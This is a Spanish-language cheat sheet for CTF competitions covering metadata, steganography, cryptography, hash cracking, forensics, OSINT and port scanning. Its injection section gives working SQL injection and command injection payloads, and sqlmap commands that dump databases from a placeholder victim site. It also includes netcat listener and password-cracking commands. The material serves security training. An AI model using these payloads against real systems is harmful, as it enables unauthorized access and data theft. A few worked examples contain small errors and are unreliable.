CTF CHEAT SHEET

🔍 ANÁLISIS DE METADATOS

📌 ¿Qué son los metadatos?

Son **datos sobre los datos**. Están incrustados en archivos digitales (imágenes, documentos, PDFs, audios, etc.) y pueden incluir:

- Nombre de autor
- Software utilizado
- Fecha y hora de creación/modificación
- Coordenadas GPS (en fotos)
- Rutas internas del sistema
- ID de dispositivos

🎯 ¿Por qué es importante?

En CTFs y análisis forense, los metadatos pueden revelar:

- Información sensible
- Pistas para encontrar contraseñas o usuarios
- Posible ubicación del autor
- Software o sistemas utilizados

🔧 Herramientas esenciales:

🛠️ exiftool (la más poderosa)
exiftool archivo.jpg

Ejemplo:

exiftool foto.jpg

Salida típica:

Make : Apple
Model : iPhone 12
Software : Snapseed
Create Date : 2024:05:10 14:22:32
GPS Position : 19.4326 N, 99.1332 W

🛠️ strings (extrae texto legible)
strings archivo.docx | less

Ideal para encontrar contraseñas, rutas, nombres de usuario embebidos.

🛠️ Herramientas Web:

- https://www.metadata2go.com/
- https://www.get-metadata.com/

Subes el archivo y muestra todos los metadatos fácilmente.

🛠️ Otros útiles:

- pdfinfo o pdf-parser.py: Para PDFs
- file archivo: Verifica tipo de archivo (útil si tiene doble extensión o fue renombrado)

✅ Ejemplo práctico (CTF):
exiftool imagen.jpg

Resultado:

Comment: La clave es: R3v3laTuVerdad

📌 ¡Boom! Encontraste una contraseña para otro reto.

- ***exiftool***: *Extrae metadatos de archivos (JPEG, PDF, DOCX, etc).*
  exiftool archivo.jpg

Ejemplo: exiftool foto.jpg → Resultado: muestra datos de cámara, fecha, coordenadas GPS.

- ***metadatos*** *(analizador online o por scripts): Permite ver información sensible incrustada en archivos (nombre de autor, ubicación, software usado).*

  Herramientas web: https://www.metadata2go.com/

- ***strings****: Extrae texto legible desde binarios o imágenes.*
  strings archivo.jpg | less
  Ejemplo: `strings logo.png | grep flag` → Resultado: aparece texto `flag{oculto123}`.

- ***binwalk****: Escanea archivos binarios en busca de datos embebidos.*
  binwalk archivo.png
  binwalk -e archivo.png # Extrae datos ocultos
  Ejemplo: `binwalk -e img.png` → Resultado: extrae archivo JPG oculto en `_img.png.extracted/`.

- ***file****: Detecta el tipo real de archivo*
  file archivo.sospechoso
  Ejemplo: `file archivo.dat` → Resultado: `JPEG image data`.

- ***pdfinfo / pdf-parser.py****: Para metadatos y estructura de PDFs.*
  pdfinfo archivo.pdf
  pdf-parser.py archivo.pdf
  Ejemplo: `pdfinfo documento.pdf` → Resultado: autor, software, fecha.

🧠 ESTEGANOGRAFÍA

Es el arte de ocultar información dentro de archivos comunes, como imágenes, audio o vídeo, de forma que no sea visible a simple vista.

🔧 Herramientas esenciales y lógica:

🛠️ steghide – Clásico ocultamiento de archivos
steghide extract -sf imagen.jpg

Te pedirá una contraseña (si la hay). Si no la tiene, intenta sin poner nada.

Ejemplo con embed:

steghide embed -cf imagen.jpg -ef secreto.txt -p clave

📌 Si sabes la contraseña, puedes extraer el archivo oculto.

🛠️ zsteg – Ideal para PNG/BMP (análisis LSB)
zsteg imagen.png

Detecta si hay información escondida en los bits menos significativos (Least Significant Bit).

🛠️ binwalk – Para extraer archivos embebidos (incluso .zip, .jpg, etc.)
binwalk archivo.png
binwalk -e archivo.png

💡 Ideal cuando un archivo tiene otro "pegado" dentro, como PNG + ZIP.

🛠️ outguess – Esteganografía para JPEG
outguess -r imagen.jpg salida.txt

También puede requerir contraseña (-k clave).

🛠️ strings + grep – Buscar palabras sospechosas
strings imagen.jpg | grep -i flag

🛠️ stegsolve.jar – Interfaz gráfica para ver capas de color
java -jar stegsolve.jar

Puedes descubrir texto oculto visualmente o QR codes invisibles.

✅ Ejemplo práctico 1 (CTF):
steghide extract -sf mensaje.jpg

Salida:

Enter passphrase: [ENTER]
wrote extracted data to "clave.txt"

Contenido de clave.txt:

Contraseña: h4ckm3n0w!

✅ Ejemplo práctico 2 (Binwalk):
binwalk -e archivo.png

Salida:

1234 0x4D2 JPEG image data
5678 0x162E Zip archive data

Se crea una carpeta _archivo.png.extracted/ con los archivos ocultos.

Técnica	Descripción
LSB (bit oculto)	Información escondida en los bits menos significativos
Overlay	Archivo completo insertado después del final de otro
Metadatos	Información incrustada como comentarios o campos EXIF

Paleta de color	Modificaciones sutiles en valores RGB
Texto invisible	Texto con color transparente o fondo igual

- ***steghide**: Inserta o extrae archivos ocultos en imágenes/audio.*
  steghide extract -sf imagen.jpg
  steghide extract -sf huevokinder.jpg
  steghide embed -ef secreto.txt -cf invincible.jpg -sf huevokinder.jpg
  steghide embed -cf imagen.jpg -ef secreto.txt
  Ejemplo: `steghide extract -sf flor.jpg` → Resultado: pide pass, extrae `mensaje.txt`.

- ***zsteg** (solo BMP y PNG): Detecta esteganografía LSB.*
  zsteg imagen.png
  Ejemplo: `zsteg flag.png` → Resultado: muestra texto oculto `flag{pixel_secret}`.

- ***outguess**: Oculta datos en imágenes JPEG.*
  outguess -r imagen.jpg salida.txt
  outguess -k "clave" -d secreto.txt imagen.jpg
  outguess -k "password" -r fondo.jpg message.txt
  Ejemplo: `outguess -r clues.jpg clues.txt` → Resultado: texto oculto con el flag.

- ***stegsolve.jar**: Interfaz gráfica en Java para analizar capas de color.*
  java -jar stegsolve.jar
  Ejemplo: Al revisar capas se ve texto `flag{rgb_hidden}`.

- *dd if=archivodeejemplo.png bs=1 skip=*iniciobits* of=extraido.jpg*

- ***OpenStego**: GUI para ocultar texto o archivos en imágenes.*

- ***exiftool / binwalk / strings***: *También útiles para analizar imágenes.*

🐞 INYECCIÓN SQL (SQLi)

Es una técnica que explota entradas mal filtradas o mal validadas, inyectando comandos que el sistema interpreta y ejecuta. Puede aplicarse a:

- Comandos de shell (Command Injection)
- Consultas SQL (SQL Injection)
- Código HTML/JS (XSS)
- Código en funciones de backend (PHP, Python, etc.)

1. 🧠 INYECCIÓN DE CÓDIGO (COMMAND INJECTION)

Cuando una aplicación pasa datos del usuario directamente a un intérprete (como bash, sh, cmd, etc.) sin validar ni sanitizar.

🔍 Ejemplo:

Formulario vulnerable que hace ping:

http://victima.com/ping.php?host=127.0.0.1

Y en el backend se ejecuta:

```
system("ping " . $_GET["host"]);
```

✅ Inyección:

http://victima.com/ping.php?host=127.0.0.1; ls

✅ Resultado:
La salida del ls aparecerá junto al resultado del ping.

🛠️ Técnicas comunes:

- ;, &&, |, backticks `: separadores de comandos.
- Inyección ciega: si no hay respuesta directa, prueba con tiempos (sleep, ping) o cambios de comportamiento.

127.0.0.1 && sleep 5

2. 🐞 INYECCIÓN SQL (SQLi)

Inyectar código SQL en una consulta para alterar su lógica, exfiltrar datos, acceder sin credenciales, modificar contenido, etc.

🧠 Lógica típica de una consulta vulnerable:
SELECT * FROM usuarios WHERE usuario = '$user' AND contraseña = '$pass';

Entrada maliciosa:

- Usuario: ' OR 1=1 --
- Contraseña: (lo que sea)

Consulta resultante:

SELECT * FROM usuarios WHERE usuario = '' OR 1=1 --' AND contraseña = '';

➡️ OR 1=1 siempre es verdadero. -- comenta el resto. ¡Acceso concedido!

⚔️ Formas Comunes de SQLi:

a) Basada en errores (Error-based)

Provoca errores para ver estructura o mensajes útiles.

' ORDER BY 10 -- # Ver cuántas columnas hay
' AND 1=convert(int,@@version) -- # Error revela versión

b) Unión (UNION SELECT)

Extrae datos combinando tablas.

```
' UNION SELECT 1,2,@@version --
```

c) Inyección Ciega (Blind SQLi)

No hay mensaje de error. Usas condicionales:

```
' AND 1=1 --   # Verdadero
' AND 1=2 --   # Falso
```

Detectar si la página cambia o no según la condición.

d) Tiempo (Time-based blind)

Mide tiempo de respuesta.

```
' OR IF(1=1,SLEEP(5),0) --
```

🛠️ Herramientas útiles:

✔ Manual:

- Inyectar ', ", --, #, /* */, OR, UNION, SELECT, etc.
- Usar burpsuite/postman para editar parámetros.

✔ Automatizada:

- **sqlmap**:

```
sqlmap -u "http://victima.com/item.php?id=1" --batch --dump
```

- Usa -p para especificar el parámetro, --current-db, --tables, --columns, --dump, etc.

🧠 Detección de vulnerabilidades:

✔ Pruebas básicas:

```
' OR 1=1 --
' AND 1=2 --
' ORDER BY 1 --
```

✔ Observa:

- Cambios en el contenido de la página.
- Errores inesperados.
- Tiempo de carga anormal.
- Diferencias entre respuestas verdaderas y falsas.

📘 Ejemplo completo (práctico):

URL:

```
http://victima.com/product.php?id=1
```

Pruebas:

```
?id=1'
?id=1 OR 1=1 --
?id=1 UNION SELECT 1,2,3 --
?id=1 AND (SELECT substring(password,1,1) FROM users LIMIT 1) = 'a' --
```

Automatización con sqlmap:

```
sqlmap -u "http://victima.com/product.php?id=1" --dbs
sqlmap -u "http://victima.com/product.php?id=1" -D testdb --tables
sqlmap -u "http://victima.com/product.php?id=1" -D testdb -T users --dump
```

- ***sqlmap**: Automatiza explotación de SQLi.*
  sqlmap -u "http://victima.com/item.php?id=1" --batch
  sqlmap -r peticion.txt # Usa archivo con petición HTTP
  Ejemplo: `sqlmap -u "http://site.com/product.php?id=3" --dump` *→ Resultado: extrae credenciales.*

- ***SQLinjection**: Se refiere a técnicas manuales o scripts personalizados para explotar vulnerabilidades en bases de datos (usa UNION, ' OR 1=1 --, etc.).*
- ***Burp Suite**: Intercepta y modifica peticiones HTTP.*
- ***Postman**: Alternativa GUI para pruebas manuales.*
- ***sqlitebrowser**: Visualizador para bases de datos SQLite extraídas.*

🔐 CRIPTOGRAFÍA / HASHING

El **cifrado** es el proceso de convertir información legible (**texto plano**) en una forma ilegible (**texto cifrado**) para protegerla contra accesos no autorizados.

El proceso inverso es el **descifrado**, que recupera el texto original.

1. 🔁 Cifrado César (desplazamiento de letras)

🔹 Lógica:

Cada letra se reemplaza por otra que está un número fijo de posiciones adelante en el alfabeto.

🔹 Ejemplo:

Texto: HOLA
Desplazamiento: 3
Resultado: KROD

H -> K
O -> R

L -> O
A -> D

- 🔹 Descifrado:

Aplicar el desplazamiento **en sentido inverso** (hacia la izquierda).

- 🔹 Herramientas:

  - CyberChef: Caesar Cipher
  - https://cryptii.com

Python:

```
def cesar(texto, clave):
    resultado = ''
    for c in texto:
        if c.isalpha():
            base = ord('A') if c.isupper() else ord('a')
            resultado += chr((ord(c) - base + clave) % 26 + base)
        else:
            resultado += c
    return resultado
```

2. 🔐 Cifrado Vigenère (clave de varias letras)

- 🔹 Lógica:

Usa una **clave de texto** para cifrar el mensaje. Cada letra del mensaje se cifra con un **desplazamiento determinado por la letra de la clave**.

- 🔹 Ejemplo:

Texto: ATAQUE
Clave: CLAVE
Clave expandida: CLAVEC
Cifrado:

A (0) + C (2) = C
T (19) + L (11) = E
A (0) + A (0) = A
Q (16) + V (21) = L
U (20) + E (4) = Y
E (4) + C (2) = G
Resultado: CEALYG

- 🔹 Descifrado:

Restar los valores de la clave en lugar de sumarlos.

- 🔹 Herramientas:

  - CyberChef: Vigenère Cipher
  - https://www.boxentriq.com/code-breaking/vigenere-cipher
  - Python:
    Usa pycipher o librerías personalizadas.

3. 🧱 Transposición Columnar Simple

- 🔹 Lógica:

Se escribe el texto en filas, organizadas bajo una palabra clave (orden alfabético). Luego, se leen las columnas según el orden de las letras.

- 🔹 Ejemplo:

Texto: HOLAESTOESUNAPRUEBA
Clave: CAT (orden alfabético: A C T → 2 1 3)

Organización:

C A T
O H L
A E S
T O E
S U N
A P R
U E B
A X X

Lectura por columnas ordenadas:

A → H, E, O, U, P, E, X
C → O, A, T, S, A, U, A
T → L, S, E, N, R, B, X
Resultado: HEOUPEX OATSAUA LSENRBX

- 🔹 Descifrado:

Recrear la estructura por columnas, y reordenarlas por la clave inversa.

- 🔹 Herramientas:

  - CyberChef: Columnar Transposition
  - Scripts en Python
  - Herramientas online como:
    - https://cryptii.com/pipes/column-transposition-cipher

💻 CIFRADO DIGITAL (MODERNO)

1. 🔐 Cifrado Simétrico

🔹 Lógica:

Se usa **una misma clave** para cifrar y descifrar el mensaje.

🔹 Algoritmos comunes:

- AES (Advanced Encryption Standard)
- DES / 3DES
- RC4 (obsoleto)

🔹 Ejemplo con openssl (AES):

```
openssl enc -aes-256-cbc -in mensaje.txt -out mensaje.enc -k clave
```

Para descifrar:

```
openssl enc -aes-256-cbc -d -in mensaje.enc -out mensaje.txt -k clave
```

🔹 Herramientas:

- openssl
- gpg -c
- ccrypt
- CyberChef

2. 🔐 Cifrado Asimétrico

Es un método criptográfico que utiliza dos claves diferentes pero relacionadas matemáticamente:

- 🔓 **Clave pública**: usada para cifrar.
- 🔐 **Clave privada**: usada para descifrar.

❗ Si alguien cifra un mensaje con tu clave pública, **solo tú** puedes descifrarlo con tu clave privada.

🎯 ¿Para qué se usa?

- Comunicación segura entre partes que no se conocen previamente.
- Envío de secretos (mensajes, archivos) que solo el receptor puede leer.
- Firma digital y autenticación.
- En CTFs, para **descifrar archivos cifrados con una clave pública** que ya viene proporcionada, o para encontrar pistas ocultas en la clave.

🧮 ¿Cómo funciona?

1. El destinatario genera un par de claves (pública y privada).
2. El remitente cifra el mensaje con la **clave pública** del destinatario.
3. Solo el destinatario puede descifrarlo con su **clave privada**.

🛡️ El cifrado es unidireccional: si usas una clave, necesitas la otra para revertir el proceso.

🔧 Herramientas para cifrado asimétrico

Herramienta	Uso
gpg	Implementación libre de PGP
openssl	Funciones criptográficas (incluye RSA)
age	Cifrado moderno, más simple
Sequoia	Implementación moderna de OpenPGP
pgp	Implementación clásica

🧪 USO DE GPG – CASO PRÁCTICO

🔹 Paso 1: Generar un par de claves

```
gpg --full-generate-key
```

Te pedirá:

- Tipo de clave (elige RSA y RSA)
- Tamaño de clave (2048 o 4096 recomendado)
- Nombre y correo (puede ser ficticio en CTFs)
- Contraseña de protección

Esto crea un **par de claves** en tu sistema:

- clave pública: para cifrar
- clave privada: para descifrar

Puedes verlas con:

```
gpg --list-keys
gpg --list-secret-keys
```

- Paso 2: Exportar tu clave pública (para compartir)

```
gpg --armor --export nombre@ejemplo.com > clave.pub
```

Esto genera una clave como:

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
...
-----END PGP PUBLIC KEY BLOCK-----
```

- Paso 3: Cifrar un archivo con la clave pública

Imagina que alguien te quiere enviar un archivo secreto y tiene tu clave pública.

```
gpg -e -r nombre@ejemplo.com mensaje.txt
```

Esto crea un archivo mensaje.txt.gpg cifrado.

🔹 Paso 4: Descifrar el archivo con tu clave privada

```
gpg -d mensaje.txt.gpg
```

Te pedirá tu passphrase (si configuraste una).

Resultado:

Este es el mensaje secreto

Puedes redirigir la salida a un archivo:

```
gpg -d mensaje.txt.gpg > mensaje_descifrado.txt
```

🧠 ¿Cómo reconocer cifrado asimétrico en CTFs?

Si ves algo como esto en el archivo:

```
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1

hQEMA1xJ6r...
...
-----END PGP MESSAGE-----
```

- 📌 ¡Es un archivo cifrado con PGP/GPG!
- Verifica si también se proporciona una clave privada (.asc o .key) y contraseña para desbloquearla.

🔍 ¿Y si tienes una clave privada externa?

🔹 Importar clave privada:

```
gpg --import clave_privada.asc
```

Si está protegida por contraseña, se solicitará al usarla.

🧪 EJEMPLO CTF COMPLETO

Archivos dados:

- mensaje.gpg
- clave_privada.asc
- Contraseña: ctf2025

🔹 Paso 1: Importar la clave

```
gpg --import clave_privada.asc
```

🔹 Paso 2: Descifrar el mensaje

```
gpg -d mensaje.gpg
```

🔓 Salida:

FLAG{AsimetriaSegura_Exito}

🧰 Otras herramientas útiles:

Herramienta	Función principal
openssl rsautl	Cifrar/descifrar con claves RSA
age	Cifrado moderno más fácil de usar que GPG
pgpdump	Analiza estructura de archivos .gpg
CyberChef	Para entender estructura base64 o bloques cifrados

🔚 RESUMEN VISUAL

[Generas claves] --> [Compartes la pública]

|

[Alguien cifra con tu clave pública]
        |
        v
[Te envía mensaje.gpg] --(tú usas tu clave privada)--> [Mensaje original]

🔹 Lógica:

Se usa un par de claves:

- **Clave pública** (para cifrar)
- **Clave privada** (para descifrar)

El cifrado se realiza con una, y solo la otra puede revertirlo.

🔹 Ejemplo de uso:

```
gpg --gen-key                    # Generar claves
gpg -e -r usuario mensaje.txt    # Cifrar con clave pública
gpg -d mensaje.txt.gpg           # Descifrar con clave privada
```

🔹 Algoritmos comunes:

- RSA
- ElGamal
- ECC (Curvas Elípticas)

🔹 Herramientas:

- GPG (GNU Privacy Guard)
- OpenSSL
- pgp, age, Sequoia

🧪 ¿Cómo identificar el tipo de cifrado en un CTF?

🔍 Técnicas:

- Si ves un patrón de letras legibles: prueba con Caesar, Vigenère.

- Si son caracteres base64 (a-zA-Z0-9+/=): prueba base64 -d
- Si es hex (0x...), binario o hashes: intenta con CyberChef, hash identifier.
- Si pide clave: prueba cifrado simétrico o esteganografía con contraseña.
- Si viene en formato -----BEGIN PGP MESSAGE-----: es cifrado asimétrico.

🧰 Otras herramientas útiles para CTFs de cifrado:

Herramienta	Uso principal
CyberChef	Todo en uno: cifrados clásicos y modernos
hash-identifier	Identificar tipos de hashes
John The Ripper	Cracking de hashes con diccionario
Hashcat	Cracking de hashes con GPU
GPG	Cifrado/descifrado asimétrico y simétrico
OpenSSL	Cifrado simétrico y gestión de certificados
ccrypt	Cifrado de archivos en línea de comandos
Python scripts	Cifrados clásicos personalizados

- **CyberChef** (web): Para decodificar, XOR, Base64, hashes, etc.
  https://gchq.github.io/CyberChef/

- **hash-identifier**: Identifica tipo de hash.
  hash-identifier
  Ejemplo: Detecta MD5 → usar con John.

- **john the ripper**:
  john --wordlist=rockyou.txt hash.txt
  Ejemplo: Rompe hash `5f4dcc3b5aa765d61d8327deb882cf99` →
  Resultado: `password`.

- **hashcat**: GPU cracker.
  hashcat -a 0 -m 0 hash.txt rockyou.txt

- **gpg**: Cifrado simétrico/asimétrico.
  gpg -c secreto.txt
  gpg secreto.txt.gpg

- **openssl**:
  openssl enc -aes-256-cbc -in archivo.txt -out archivo.enc
  openssl enc -aes-256-cbc -d -in archivo.enc -out archivo.txt

- **veracrypt**: Cifra volúmenes completos o archivos contenedores

  GUI, también modo terminal.

  veracrypt --text --create contenedor.hc

  veracrypt --mount contenedor.hc /mnt/seguro

- **base64**:
  echo "texto" | base64
  echo "dGV4dG8=" | base64 -d

🧠 INGENIERÍA INVERSA

- ***Ghidra**: GUI poderosa para descompilar binarios.*
- ***radare2**:*
  r2 archivo
  aaa
  pdf @ main

- ***Cutter**: GUI basada en radare2.*
- ***IDA Free**: Otra alternativa GUI para desensamblado.*

- ***strings***, ***ltrace***, ***strace***: *Análisis de comportamiento.*

🤝 FORENSE / RECUPERACIÓN

- **Autopsy**: GUI para análisis forense completo.
- **Volatility**: Análisis de memoria RAM (dump).
  volatility -f mem.dmp --profile=Win7SP1x64 pslist

- **foremost**: Recupera archivos de discos/imágenes.
  foremost -i disco.img -o salida/

photorec: Interfaz TUI para recuperar archivos borrados.

📊 OSINT (Inteligencia de Fuentes Abiertas)

OSINT significa *Open Source Intelligence*, o **inteligencia obtenida a partir de fuentes públicas**. Esto incluye cualquier información legalmente accesible en internet o medios abiertos:

- Sitios web
- Redes sociales
- Dominios
- Documentos públicos
- Metadatos
- Archivos filtrados

🔍 El objetivo es **recolectar, analizar y correlacionar información útil sobre un objetivo** (persona, empresa, sistema) **sin acceso interno**.

🎯 ¿Por qué es importante en ciberseguridad?

En el mundo real y en CTFs, OSINT se usa para:

- Identificar vulnerabilidades antes de un pentest.

- Conseguir emails, usuarios y contraseñas filtradas.
- Analizar la huella digital de una empresa (reconocimiento).
- Encontrar pistas ocultas en retos CTF o ingeniería social.
- Automatizar búsquedas para fases de enumeración.

🧠 Lógica detrás de OSINT

1. **Recolectar fuentes abiertas**: Buscar nombres, dominios, emails, IPs, redes sociales.
2. **Analizar y correlacionar datos**: Cruzar información (ej: un email viejo usado en muchas filtraciones).
3. **Explotar conexiones**: Un nombre en LinkedIn puede darte un correo → acceso a un leak → login exitoso.

💡 OSINT = *Inteligencia, no solo datos*. No basta con acumular, hay que interpretar.

🧰 Herramientas principales de OSINT

🛰️ Recolección de emails y dominios

theHarvester
theHarvester -d empresa.com -b google

- Recolecta emails, hosts, IPs desde buscadores, Shodan, etc.
- **Hunter.io** (web)
  Buscar emails ligados a dominios.

🔎 Whois, DNS y dominios
whois
whois dominio.com
nslookup / dig
nslookup dominio.com
dig dominio.com ANY

crt.sh
Ver certificados SSL emitidos → revelan subdominios.

- https://crt.sh

🕵️ Redes sociales

Sherlock (detecta usuarios en múltiples redes):
python3 sherlock johndoe

Holehe (verifica correos en redes sociales):
holehe target@email.com

Social Analyzer:

- https://github.com/qeeqbox/social-analyzer

💥 Información técnica y filtraciones

Shodan: Buscar servicios, dispositivos o cámaras expuestos.
shodan search apache

Have I Been Pwned (ver si un correo fue filtrado)

- https://haveibeenpwned.com

Leaks.sh / GitHub Dorks:
Buscar filtraciones públicas en repositorios.

🧩 Correlación de datos y visualización

Maltego:
Potente herramienta de OSINT visual. Muestra conexiones entre emails, dominios, IPs, etc.

SpiderFoot:
Escanea dominios y usuarios con múltiples módulos.
spiderfoot -s dominio.com -m all

✅ Ejemplo práctico en CTF

Objetivo: encontrar una flag en un blog personal.

1. Obtener información del dominio
whois victima-blog.com

Descubres que el autor se llama Carlos Vega.

2. Buscar redes sociales
sherlock carlosvega

Encuentras su GitHub, donde hay un repo privado filtrado.

3. Revisar filtraciones

Revisas ese repo y ves una clave FLAG{github_leak_carlos} oculta en un commit.

🎁 BONUS: Herramientas web útiles

Herramienta	Función
intelx.io	Buscar correos, documentos y leaks
namechk.com	Ver disponibilidad de usuarios en redes
dnsdumpster.com	Recolectar subdominios y DNS info
metagoofil	Descarga y extrae metadatos de documentos
leakcheck.io	Buscar emails y contraseñas filtradas

🚩 En CTF, ¿cómo se usa OSINT?

- Buscar usuarios ocultos en la web del reto
- Analizar metadatos para nombres o emails
- Detectar filtraciones de contraseñas

Usar Google Dorks:
site:ejemplo.com filetype:pdf
intitle:index.of
inurl:admin login

🧠 Consejo de pro: Automatiza

Usa herramientas como:

amass enum -d dominio.com

o

subfinder -d dominio.com

para detectar subdominios, luego pásalos a nmap.

4. Usar herramientas para acelerar el proceso

- **theHarvester**:
  theHarvester -d dominio.com -b google

- **whois / nslookup / dig**:
  whois dominio.com
  nslookup dominio.com
  dig dominio.com ANY

- **Maltego**: Visualizador de relaciones (GUI).
- **Shodan**: Búsqueda de dispositivos expuestos online.

👨‍💻 HERRAMIENTAS RED / SHELL / BÁSICAS

🌐 ESCANEO DE PUERTOS Y SERVICIOS – GUÍA COMPLETA

El escaneo de puertos permite descubrir **qué servicios están corriendo en un sistema remoto**, en qué puertos, y en qué versión. Esto es esencial para:

- Descubrir posibles vectores de ataque.
- Identificar software vulnerable.
- Enumerar servicios que no deberían estar expuestos.

🧩 ¿Qué es un puerto?

Un **puerto** es una puerta de entrada para los servicios de red en un sistema. Hay 65,535 puertos:

- **0–1023**: puertos bien conocidos (HTTP, SSH, FTP…)
- **1024–49151**: puertos registrados (software y servicios)
- **49152–65535**: puertos dinámicos/privados

🛠️ Servicios comunes:

Puerto	Servicio	Protocolo
21	FTP	TCP
22	SSH	TCP
23	Telnet	TCP
25	SMTP	TCP
53	DNS	TCP/UDP
80	HTTP	TCP

443	HTTPS	TCP
3306	MySQL	TCP
8080	HTTP-alt	TCP

🔧 HERRAMIENTAS PRINCIPALES

1. Nmap – El rey del escaneo

```
nmap IP_o_dominio
```

🔍 Tipos de escaneo:

Comando	Descripción
-sS	Escaneo SYN (silencioso, común)
-sT	Escaneo TCP (más ruidoso, no requiere privilegios)
-sU	Escaneo UDP
-p-	Escanea todos los puertos (1–65535)
-sV	Detecta versión del servicio
-O	Detección de sistema operativo
-A	Todo (OS, versión, traceroute, scripts NSE)
-Pn	Ignora ping (para hosts que bloquean ICMP)
--script	Usa scripts NSE (detección, explotación)

🧪 Ejemplos prácticos:

```
nmap -sS -p 22,80,443 192.168.0.1       # Escaneo SYN de puertos específicos
nmap -sS -p- -T4 192.168.0.1            # Escaneo SYN de todos los puertos
nmap -sV -O 192.168.0.1                 # Detectar servicios y sistema operativo
nmap -A victima.com                     # Escaneo agresivo completo
```

```
nmap -Pn -T4 -sS victima.com          # Sin ping, escaneo rápido
```

2. Netcat (nc) – Escaneo y conexión manual

```
nc -zv IP 20-100
```

- -z: modo escaneo (sin enviar datos)
- -v: modo verboso

Ejemplo:

```
nc -zv 192.168.0.10 22 80 443
```

3. RustScan – Rápido + Nmap combinado

```
rustscan -a 192.168.0.10 -- -sV
```

- Escanea extremadamente rápido y luego lanza nmap para versiones.

4. Masscan – Ultra rápido, millones de IPs

```
masscan 192.168.0.0/24 -p1-65535 --rate=10000
```

- Ideal para CTFs donde necesitas escanear rápido.

⚙️ LÓGICA DETRÁS DEL ESCANEO

1. **Descubrimiento de hosts**:
    - ¿Qué máquinas están activas? (ping, nmap -sn, etc.)

2. **Escaneo de puertos**:
    - ¿Qué puertos están abiertos?
    - ¿TCP o UDP?

3. **Detección de servicios**:

- ¿Qué software hay detrás? (Apache, OpenSSH, MySQL, etc.)
- ¿En qué versión?

4. **Enumeración y explotación**:
   - Buscar vulnerabilidades asociadas (por versión o servicio).
   - Intentar credenciales por defecto, fuzzing, etc.

📘 EJEMPLO CTF:

Reto: El puerto 80 no muestra nada útil.

nmap -sV -p- 10.10.10.10

Resultado:

8080/tcp open http-proxy Apache Tomcat/Coyote JSP engine 1.1

📌 Entonces navegas a http://10.10.10.10:8080, y encuentras un panel de admin vulnerable. ¡Entrada ganada!

Telnet es una herramienta de red clásica que permite conectarse a sistemas remotos usando el protocolo Telnet (puerto 23 por defecto). Aunque hoy en día está en desuso por no ser segura (no cifra la información), sigue siendo útil en contextos de CTF, pruebas y auditoría.

✅ 1. Verificar si un puerto está abierto

Puedes usar Telnet para probar si un servicio responde en determinado puerto:

telnet 192.168.0.1 80

Si se conecta, el puerto está abierto.

✅ 2. Interactuar con servicios sin cliente específico

Telnet permite enviar comandos "a mano" para ver cómo responde un servicio. Ejemplo:

📨 HTTP manualmente:

telnet 192.168.0.10 80

Luego, escribir:

GET / HTTP/1.1

Host: 192.168.0.10

Esto devuelve el HTML de la página, útil si no tienes curl o nc.

✅ 3. Probar banners o servicios abiertos (como SMTP, POP3, etc.)

Con Telnet puedes conectar y enviar comandos directamente a servicios como:

- SMTP (puerto 25)
- POP3 (puerto 110)
- IMAP (puerto 143)

Ejemplo con SMTP:

telnet 192.168.0.10 25

Y luego probar:

HELO test.com

MAIL FROM:<test@test.com>

RCPT TO:<admin@test.com>*s*

Va junto con herramientas como:

- netcat
- nmap
- curl
- ftp
- ssh

- **nmap**: Escaneo de puertos y detección de servicios.
  nmap -sV -A 192.168.1.1
  Ejemplo: Muestra que el puerto 80 tiene Apache 2.4.41 → intentar exploits conocidos.

- **netcat (nc)**:
  nc -lvp 4444 # Escuchar
  nc IP 4444   # Conectar

- **tcpdump / wireshark**: Análisis de tráfico de red.
  tcpdump -i eth0 -w salida.pcap

- wireshark

- **curl / wget**:
  curl http://victima.com
  wget http://victima.com

- **bash / python**: Para scripting y automatización de tareas.TIP FINAL: Usa Linux (Kali, Parrot o Debian personalizado), guarda tus scripts, contraseñas y hashes en archivos organizados, y lleva diccionarios como rockyou.txt o SecLists siempre contigo.